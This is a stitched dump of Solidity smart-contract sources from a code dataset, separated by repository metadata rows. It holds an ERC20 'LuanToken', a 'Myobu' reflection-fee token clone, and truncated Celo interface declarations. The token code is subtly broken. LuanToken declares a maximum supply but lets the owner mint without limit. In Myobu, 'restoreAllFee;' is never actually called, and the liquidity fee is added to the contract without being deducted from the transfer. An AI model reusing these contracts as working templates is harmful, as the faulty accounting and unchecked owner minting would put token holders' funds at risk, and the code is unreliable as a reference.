function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private constant MAXSUPPLY = 3000 ether;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return MAXSUPPLY;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
contract LuanToken is ERC20('FanLuan', 'FLUAN') {
constructor() {
_mint(_msgSender(), uint256(10000000000000000000)); // 10 tokens for initial liquidity
_mint(address(0x99Fb7c32020680AB5bea10061f4f1AD0e44d8690), uint256(10000000000000000000)); // 10 tokens to treasury
}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
}
| 309,686 | 12,273 |
f88375d44911aa9b23a18295e72e4798fa185a906ad377056f2340e0980895a4
| 24,317 |
.sol
|
Solidity
| false |
362533617
|
abdulhaseeb2/MemeCoin
|
cde8a563bcfb2e98d7ca5572967cdb57b5332d1c
|
myubo.sol
| 5,230 | 19,134 |
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Myobu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Mybu";
string private constant _symbol = "MYOBU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
//Below address is of the Ropsten Testnet Network
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
//Create a Unis2wap Pair for this new token
uniswapV2Pair = IUniswapFactoryV2(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
_previousLiquidityFee = _liquidityFee;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
_liquidityFee = _previousLiquidityFee;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
// if(contractTokenBalance >= _maxTxAmount)
// {
// contractTokenBalance = _maxTxAmount;
// }
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (overMinTokenBalance && !inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
// swapTokensForEth(contractTokenBalance);
// uint256 contractETHBalance = address(this).balance;
// if (contractETHBalance > 0) {
// sendETHToFee(address(this).balance);
// }
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcludedFromFee[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// function addLiquidity() external onlyOwner() {
// uniswapV2Router = _uniswapV2Router;
// _approve(address(this), address(uniswapV2Router), _tTotal);
// swapEnabled = true;
// cooldownEnabled = true;
// liquidityAdded = true;
// _maxTxAmount = 3000000000 * 10**9;
// IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
// }
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _teamFee,_liquidityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam, tLiquidity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 liquidityFee) private pure returns (uint256, uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tLiquidity = tAmount.mul(liquidityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 11,614 | 12,274 |
76d9677a2051548bb7be61865e33139e10c5fe409c0efce1e3dcc666c717d60d
| 20,672 |
.sol
|
Solidity
| false |
507660474
|
tintinweb/smart-contract-sanctuary-celo
|
81b52aac6adcf513ef4af86806a71db3704a5958
|
contracts/mainnet/b4/b49e4d6f0b7f8d0440f75697e6c8b37e09178bcf_TransferWhitelist.sol
| 5,207 | 20,311 |
pragma solidity ^0.5.3;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IAccounts {
function isAccount(address) external view returns (bool);
function voteSignerToAccount(address) external view returns (address);
function validatorSignerToAccount(address) external view returns (address);
function attestationSignerToAccount(address) external view returns (address);
function signerToAccount(address) external view returns (address);
function getAttestationSigner(address) external view returns (address);
function getValidatorSigner(address) external view returns (address);
function getVoteSigner(address) external view returns (address);
function hasAuthorizedVoteSigner(address) external view returns (bool);
function hasAuthorizedValidatorSigner(address) external view returns (bool);
function hasAuthorizedAttestationSigner(address) external view returns (bool);
function setAccountDataEncryptionKey(bytes calldata) external;
function setMetadataURL(string calldata) external;
function setName(string calldata) external;
function setWalletAddress(address, uint8, bytes32, bytes32) external;
function setAccount(string calldata, bytes calldata, address, uint8, bytes32, bytes32) external;
function getDataEncryptionKey(address) external view returns (bytes memory);
function getWalletAddress(address) external view returns (address);
function getMetadataURL(address) external view returns (string memory);
function batchGetMetadataURL(address[] calldata)
external
view
returns (uint256[] memory, bytes memory);
function getName(address) external view returns (string memory);
function authorizeVoteSigner(address, uint8, bytes32, bytes32) external;
function authorizeValidatorSigner(address, uint8, bytes32, bytes32) external;
function authorizeValidatorSignerWithPublicKey(address, uint8, bytes32, bytes32, bytes calldata)
external;
function authorizeValidatorSignerWithKeys(address,
uint8,
bytes32,
bytes32,
bytes calldata,
bytes calldata,
bytes calldata) external;
function authorizeAttestationSigner(address, uint8, bytes32, bytes32) external;
function createAccount() external returns (bool);
}
interface IFeeCurrencyWhitelist {
function addToken(address) external;
function getWhitelist() external view returns (address[] memory);
}
interface IFreezer {
function isFrozen(address) external view returns (bool);
}
interface IRegistry {
function setAddressFor(string calldata, address) external;
function getAddressForOrDie(bytes32) external view returns (address);
function getAddressFor(bytes32) external view returns (address);
function isOneOf(bytes32[] calldata, address) external view returns (bool);
}
interface IElection {
function getTotalVotes() external view returns (uint256);
function getActiveVotes() external view returns (uint256);
function getTotalVotesByAccount(address) external view returns (uint256);
function markGroupIneligible(address) external;
function markGroupEligible(address, address, address) external;
function electValidatorSigners() external view returns (address[] memory);
function vote(address, uint256, address, address) external returns (bool);
function activate(address) external returns (bool);
function revokeActive(address, uint256, address, address, uint256) external returns (bool);
function revokeAllActive(address, address, address, uint256) external returns (bool);
function revokePending(address, uint256, address, address, uint256) external returns (bool);
function forceDecrementVotes(address,
uint256,
address[] calldata,
address[] calldata,
uint256[] calldata) external returns (uint256);
}
interface IGovernance {
function isVoting(address) external view returns (bool);
}
interface ILockedGold {
function incrementNonvotingAccountBalance(address, uint256) external;
function decrementNonvotingAccountBalance(address, uint256) external;
function getAccountTotalLockedGold(address) external view returns (uint256);
function getTotalLockedGold() external view returns (uint256);
function getPendingWithdrawals(address)
external
view
returns (uint256[] memory, uint256[] memory);
function getTotalPendingWithdrawals(address) external view returns (uint256);
function lock() external payable;
function unlock(uint256) external;
function relock(uint256, uint256) external;
function withdraw(uint256) external;
function slash(address account,
uint256 penalty,
address reporter,
uint256 reward,
address[] calldata lessers,
address[] calldata greaters,
uint256[] calldata indices) external;
function isSlasher(address) external view returns (bool);
}
interface IValidators {
function getAccountLockedGoldRequirement(address) external view returns (uint256);
function meetsAccountLockedGoldRequirements(address) external view returns (bool);
function getGroupNumMembers(address) external view returns (uint256);
function getGroupsNumMembers(address[] calldata) external view returns (uint256[] memory);
function getNumRegisteredValidators() external view returns (uint256);
function getTopGroupValidators(address, uint256) external view returns (address[] memory);
function updateEcdsaPublicKey(address, address, bytes calldata) external returns (bool);
function updatePublicKeys(address, address, bytes calldata, bytes calldata, bytes calldata)
external
returns (bool);
function isValidator(address) external view returns (bool);
function isValidatorGroup(address) external view returns (bool);
function calculateGroupEpochScore(uint256[] calldata uptimes) external view returns (uint256);
function groupMembershipInEpoch(address account, uint256 epochNumber, uint256 index)
external
view
returns (address);
function halveSlashingMultiplier(address group) external;
function forceDeaffiliateIfValidator(address validator) external;
function getValidatorGroupSlashingMultiplier(address) external view returns (uint256);
function affiliate(address group) external returns (bool);
}
interface IRandom {
function revealAndCommit(bytes32, bytes32, address) external;
function randomnessBlockRetentionWindow() external view returns (uint256);
function random() external view returns (bytes32);
function getBlockRandomness(uint256) external view returns (bytes32);
}
interface IAttestations {
function setAttestationRequestFee(address, uint256) external;
function request(bytes32, uint256, address) external;
function selectIssuers(bytes32) external;
function complete(bytes32, uint8, bytes32, bytes32) external;
function revoke(bytes32, uint256) external;
function withdraw(address) external;
function setAttestationExpiryBlocks(uint256) external;
function getMaxAttestations() external view returns (uint256);
function getUnselectedRequest(bytes32, address) external view returns (uint32, uint32, address);
function getAttestationRequestFee(address) external view returns (uint256);
function lookupAccountsForIdentifier(bytes32) external view returns (address[] memory);
function getAttestationStats(bytes32, address) external view returns (uint32, uint32);
function getAttestationState(bytes32, address, address)
external
view
returns (uint8, uint32, address);
function getCompletableAttestations(bytes32, address)
external
view
returns (uint32[] memory, address[] memory, uint256[] memory, bytes memory);
}
interface IExchange {
function exchange(uint256, uint256, bool) external returns (uint256);
function setUpdateFrequency(uint256) external;
function getBuyTokenAmount(uint256, bool) external view returns (uint256);
function getSellTokenAmount(uint256, bool) external view returns (uint256);
function getBuyAndSellBuckets(bool) external view returns (uint256, uint256);
}
interface IReserve {
function setTobinTaxStalenessThreshold(uint256) external;
function addToken(address) external returns (bool);
function removeToken(address, uint256) external returns (bool);
function transferGold(address payable, uint256) external returns (bool);
function transferExchangeGold(address payable, uint256) external returns (bool);
function getReserveGoldBalance() external view returns (uint256);
function getUnfrozenReserveGoldBalance() external view returns (uint256);
function getOrComputeTobinTax() external returns (uint256, uint256);
function getTokens() external view returns (address[] memory);
function getReserveRatio() external view returns (uint256);
}
interface ISortedOracles {
function addOracle(address, address) external;
function removeOracle(address, address, uint256) external;
function report(address, uint256, address, address) external;
function removeExpiredReports(address, uint256) external;
function isOldestReportExpired(address token) external view returns (bool, address);
function numRates(address) external view returns (uint256);
function medianRate(address) external view returns (uint256, uint256);
function numTimestamps(address) external view returns (uint256);
